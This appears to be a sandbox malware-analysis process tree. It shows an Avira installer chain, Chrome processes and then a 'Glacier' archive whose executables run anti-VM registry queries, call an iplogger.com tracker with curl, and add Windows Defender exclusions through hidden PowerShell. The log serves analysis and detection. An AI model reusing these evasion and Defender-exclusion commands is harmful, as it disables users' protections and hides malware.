C:\Users\Admin\AppData\Local\Temp\.CR.30654\3ff0b95c-cff0-4db8-9a44-ab4eaf780d85\.CR.9787\Avira.Spotlight.Bootstrapper.ReportingTool.exe"C:\Users\Admin\AppData\Local\Temp\.CR.30654\3ff0b95c-cff0-4db8-9a44-ab4eaf780d85\.CR.9787\Avira.Spotlight.Bootstrapper.ReportingTool.exe" /TrackPresetupEvents C:\Users\Admin\AppData\Local\Temp\.CR.30654\3ff0b95c-cff0-4db8-9a44-ab4eaf780d85\.CR.9787\ "Spotlight Presetup Start@134335385922555289:Process ID=3140;Os Language=en-US;Action=RegisterFallbackUpdater;Reboot Pending=true;Reboot Count Valid=true;$os=Windows;$os_version=10.0.26100;Bootstrapper Version=1.0.55.984;Os Platform=x64;RunMode=Default;Execute From Temp=false;" "Spotlight Presetup End@134335386003713836:$os_version=10.0.26100;ExitCode=0;$os=Windows;Process ID=3140;Os Language=en-US;Action=RegisterFallbackUpdater;Bootstrapper Version=1.0.55.984;Os Platform=x64;RunMode=Default;Execute From Temp=false;"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\.CR.30654\3230edf0-a99b-400b-ab7f-94c0b8f4a512\avira_system_speedup.exe"C:\Users\Admin\AppData\Local\Temp\.CR.30654\3230edf0-a99b-400b-ab7f-94c0b8f4a512\avira_system_speedup.exe" /install /OTC= /EMAIL= /LOG="C:\Users\Admin\AppData\Local\Temp\avira_system_speedup_setup_20260910193003738.log" /VERYSILENT /SUPPRESSMSGBOXES /LANGUAGE=en-us /NOSTART /NORESTART /bundle=sptl1 /download=pfsws /Spotlight4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-5E0CS.tmp\avira_system_speedup.tmp"C:\Users\Admin\AppData\Local\Temp\is-5E0CS.tmp\avira_system_speedup.tmp" /SL5="$60414,35953336,916992,C:\Users\Admin\AppData\Local\Temp\.CR.30654\3230edf0-a99b-400b-ab7f-94c0b8f4a512\avira_system_speedup.exe" /install /OTC= /EMAIL= /LOG="C:\Users\Admin\AppData\Local\Temp\avira_system_speedup_setup_20260910193003738.log" /VERYSILENT /SUPPRESSMSGBOXES /LANGUAGE=en-us /NOSTART /NORESTART /bundle=sptl1 /download=pfsws /Spotlight5⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Delete /F /TN AviraSystemSpeedupRemoval6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Program Files (x86)\Avira\System Speedup\Avira.SystemSpeedup.UI.ShellExtension.dll" /codebase /silent /nologo6⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe "C:\Program Files (x86)\Avira\System Speedup\Avira.SystemSpeedup.UI.ShellExtension.dll" /codebase /silent /nologo6⤵
- Modifies registry class
-
-
C:\Program Files (x86)\Avira\System Speedup\Avira.SystemSpeedup.Core.Common.Starter.exe"C:\Program Files (x86)\Avira\System Speedup\Avira.SystemSpeedup.Core.Common.Starter.exe" -umh6⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy "C:\Users\Admin\AppData\Local\Temp\.CR.30654\3230edf0-a99b-400b-ab7f-94c0b8f4a512\avira_system_speedup.exe" "C:\Program Files (x86)\Avira\System Speedup\setup\avira_speedup_setup.exe"6⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /F /RU System /SC WEEKLY /TN AviraSystemSpeedupVerify /TR "\"C:\Program Files (x86)\Avira\System Speedup\setup\avira_speedup_setup.exe\" /VERIFY /VERYSILENT /NOSTART /NODOTNET /NORESTART" /RL HIGHEST6⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Program Files (x86)\Avira\System Speedup\Avira.SystemSpeedup.Maintenance.exe"C:\Program Files (x86)\Avira\System Speedup\Avira.SystemSpeedup.Maintenance.exe" -validatelicense6⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Avira\System Speedup\Avira.SystemSpeedup.Maintenance.exe"C:\Program Files (x86)\Avira\System Speedup\Avira.SystemSpeedup.Maintenance.exe" -initbootoptimizer6⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Enumerates connected drives
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\is-TTN7E.tmp\Avira_Optimizer_Host.exe"C:\Users\Admin\AppData\Local\Temp\is-TTN7E.tmp\Avira_Optimizer_Host.exe" /VERYSILENT6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-64ETA.tmp\Avira_Optimizer_Host.tmp"C:\Users\Admin\AppData\Local\Temp\is-64ETA.tmp\Avira_Optimizer_Host.tmp" /SL5="$404D2,1552217,832512,C:\Users\Admin\AppData\Local\Temp\is-TTN7E.tmp\Avira_Optimizer_Host.exe" /VERYSILENT7⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Avira\Optimizer Host\Avira.OptimizerHost.exe"C:\Program Files (x86)\Avira\Optimizer Host\Avira.OptimizerHost.exe" /Install /Silent8⤵
- Sets service image path in registry
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
-
-
C:\Program Files (x86)\Avira\Optimizer Host\unins000.exe"C:\Program Files (x86)\Avira\Optimizer Host\unins000.exe" /LOG="C:\Users\Admin\AppData\Local\Temp\avira_optimizer_host_uninstall_20260910193220375.log" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\iu-14D2N.tmp\_unins.tmp"C:\Users\Admin\AppData\Local\Temp\iu-14D2N.tmp\_unins.tmp" /SECONDPHASE="C:\Program Files (x86)\Avira\Optimizer Host\unins000.exe" /FIRSTPHASEWND=$70300 /LOG="C:\Users\Admin\AppData\Local\Temp\avira_optimizer_host_uninstall_20260910193220375.log" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Program Files (x86)\Avira\Optimizer Host\unins000.exe"C:\Program Files (x86)\Avira\Optimizer Host\unins000.exe" /LOG="C:\Users\Admin\AppData\Local\Temp\avira_optimizer_host_uninstall_20260910193220375.log" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\iu-14D2N.tmp\_unins.tmp"C:\Users\Admin\AppData\Local\Temp\iu-14D2N.tmp\_unins.tmp" /SECONDPHASE="C:\Program Files (x86)\Avira\Optimizer Host\unins000.exe" /FIRSTPHASEWND=$303B4 /LOG="C:\Users\Admin\AppData\Local\Temp\avira_optimizer_host_uninstall_20260910193220375.log" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\.CR.30654\Avira.Spotlight.Bootstrapper.ReportingTool.exe"C:\Users\Admin\AppData\Local\Temp\.CR.30654\Avira.Spotlight.Bootstrapper.ReportingTool.exe" 1 bootstrapper "C:\Users\Admin\AppData\Local\Temp" Avira_Spotlight_Bootstrapper_*.log3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\.CR.30654\Avira.Spotlight.Bootstrapper.ReportingTool.exe"C:\Users\Admin\AppData\Local\Temp\.CR.30654\Avira.Spotlight.Bootstrapper.ReportingTool.exe" /TrackUnsentEvents3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\.CR.30654\Avira.Spotlight.Bootstrapper.ReportingTool.exe"C:\Users\Admin\AppData\Local\Temp\.CR.30654\Avira.Spotlight.Bootstrapper.ReportingTool.exe" /TrackPresetupEvents C:\Users\Admin\AppData\Local\Temp\.CR.30654\ "Spotlight Presetup Start@134335385463380972:Process ID=6064;Os Language=en-US;Action=Install;Reboot Pending=false;Reboot Count Valid=false;$os=Windows;$os_version=10.0.26100;Bootstrapper Version=1.0.55.984;Os Platform=x64;RunMode=Default;Execute From Temp=false;" "Spotlight Presetup Resume Schedule@134335385464577296:Result=Success;Resume Source=ScheduledTask;$os=Windows;$os_version=10.0.26100;Process ID=6064;Os Language=en-US;Action=Install;Bootstrapper Version=1.0.55.984;Os Platform=x64;RunMode=Default;Execute From Temp=false;" "Spotlight Presetup End@134335387594785905:$os_version=10.0.26100;ExitCode=1;$os=Windows;Process ID=6064;Os Language=en-US;Action=Install;Bootstrapper Version=1.0.55.984;Os Platform=x64;RunMode=Default;Execute From Temp=false;"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6884,i,17503056889029388397,15897042715212537849,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=8688 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=79 --metrics-shmem-handle=8980,i,464764632912180476,12935896482568329570,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=8692 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=80 --metrics-shmem-handle=9128,i,17860241742792472618,10881495181593213779,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=9120 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=8900,i,3776284510629267697,9446648963904363638,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=8804 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=8896,i,13515854873014020441,9902363662033114411,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=7460 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=8888,i,15076156544936360742,2639537324850861753,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=8440 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=8956,i,6515537354046099513,2918398561386893469,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=7252 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=9204,i,13379516142740680965,14989277034230069843,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=8700 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=8828,i,3936852799786032271,10086147430859443560,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=7484 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=8760,i,14029535709817907150,4213939120372521166,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=8752 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=88 --metrics-shmem-handle=4776,i,1503356951452508399,6407701626243763933,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=7288 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5784,i,14004116974184362932,15978853733057130831,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=8048 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5664,i,5753210545317531219,5228320579864753032,524288 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=8896 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=91 --metrics-shmem-handle=8596,i,1764160479123873241,11470525089205554238,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=8228 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=92 --metrics-shmem-handle=8660,i,14594593980711474572,3234395681572881029,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=9128 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=93 --metrics-shmem-handle=8344,i,15819959470527795018,12321179816733017442,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=94 --metrics-shmem-handle=8128,i,2714776762608195897,17556106518623032627,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=8104 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=95 --metrics-shmem-handle=9188,i,16460165079503044576,5383967309799261741,2097152 --field-trial-handle=2132,i,1224009195561995789,16154879313725323527,262144 --variations-seed-version --mojo-platform-channel-handle=9192 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Program Files\7-Zip\7zG.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap9860:76:7zEvent240241⤵
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Program Files\7-Zip\7zG.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap15706:76:7zEvent268791⤵
-
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\Glacier.zip"1⤵
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Users\Admin\AppData\Local\Temp\7zO8A680B52\glaicer.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A680B52\glaicer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\3J6Ib8B6BO6N6KU3AAlhlKNSBf7\Pibmgr6blv.exeC:\Users\Admin\AppData\Local\Temp\3J6Ib8B6BO6N6KU3AAlhlKNSBf7\Pibmgr6blv.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Users\Admin\AppData\Local\Temp\3J6Ib8B6BO6N6KU3AAlhlKNSBf7\Pibmgr6blv.exe"C:\Users\Admin\AppData\Local\Temp\3J6Ib8B6BO6N6KU3AAlhlKNSBf7\Pibmgr6blv.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\desktop-service" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1636 --field-trial-handle=1640,i,8374301757148801592,2997792898519667827,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:24⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v ProductType"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v ProductType5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters""4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters"5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools""4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"5⤵
- Looks for VMWare Tools registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\DESCRIPTION\System\BIOS" /v SystemManufacturer"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg query "HKLM\HARDWARE\DESCRIPTION\System\BIOS" /v SystemManufacturer5⤵
- Enumerates system info in registry
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\DESCRIPTION\System\BIOS" /v SystemProductName"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg query "HKLM\HARDWARE\DESCRIPTION\System\BIOS" /v SystemProductName5⤵
- Enumerates system info in registry
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\DESCRIPTION\System\BIOS" /v BIOSVendor"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg query "HKLM\HARDWARE\DESCRIPTION\System\BIOS" /v BIOSVendor5⤵
- Enumerates system info in registry
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\DESCRIPTION\System\BIOS" /v SystemVersion"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg query "HKLM\HARDWARE\DESCRIPTION\System\BIOS" /v SystemVersion5⤵
- Enumerates system info in registry
-
-
-
C:\Windows\System32\curl.exeC:\Windows\System32\curl.exe -s -L -o NUL -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -m 10 https://iplogger.com/2f0SX64⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A67FF53\glaicer.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A67FF53\glaicer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\3J6Ib8B6BO6N6KU3AAlhlKNSBf7\Pibmgr6blv.exeC:\Users\Admin\AppData\Local\Temp\3J6Ib8B6BO6N6KU3AAlhlKNSBf7\Pibmgr6blv.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\3J6Ib8B6BO6N6KU3AAlhlKNSBf7\Pibmgr6blv.exe"C:\Users\Admin\AppData\Local\Temp\3J6Ib8B6BO6N6KU3AAlhlKNSBf7\Pibmgr6blv.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\desktop-service" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1652 --field-trial-handle=1656,i,14776550982038436600,7921844237789566277,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:24⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\System32\curl.exeC:\Windows\System32\curl.exe -s -L -o NUL -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -m 10 https://iplogger.com/2f0SX64⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A6DC373\launcher.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A6DC373\launcher.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A6AFE73\launcher.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A6AFE73\launcher.exe"2⤵
- Executes dropped EXE
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\SecurityHealthHost.exe\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding1⤵
-
C:\Program Files\7-Zip\7zG.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Glacier\" -ad -an -ai#7zMap24157:76:7zEvent231371⤵
-
C:\Users\Admin\Downloads\Glacier\launcher.exe"C:\Users\Admin\Downloads\Glacier\launcher.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath $env:TEMP"2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath $env:TEMP"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\ProgramData\Windows\Microsoft','C:\ProgramData\Microsoft\Windows'"2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\ProgramData\Windows\Microsoft','C:\ProgramData\Microsoft\Windows'"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C gpupdate /force2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\gpupdate.exegpupdate /force3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\bA7mdz1MpsWo.exe"C:\Users\Admin\AppData\Local\Temp\bA7mdz1MpsWo.exe"2⤵
- Executes dropped EXE
- Checks for VirtualBox DLLs, possible anti-VM trick
-
-
C:\Users\Admin\Downloads\Glacier\launcher.exe"C:\Users\Admin\Downloads\Glacier\launcher.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath $env:TEMP"2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath $env:TEMP"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\ProgramData\Windows\Microsoft','C:\ProgramData\Microsoft\Windows'"2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\ProgramData\Windows\Microsoft','C:\ProgramData\Microsoft\Windows'"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C gpupdate /force2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\gpupdate.exegpupdate /force3⤵
-
-
-
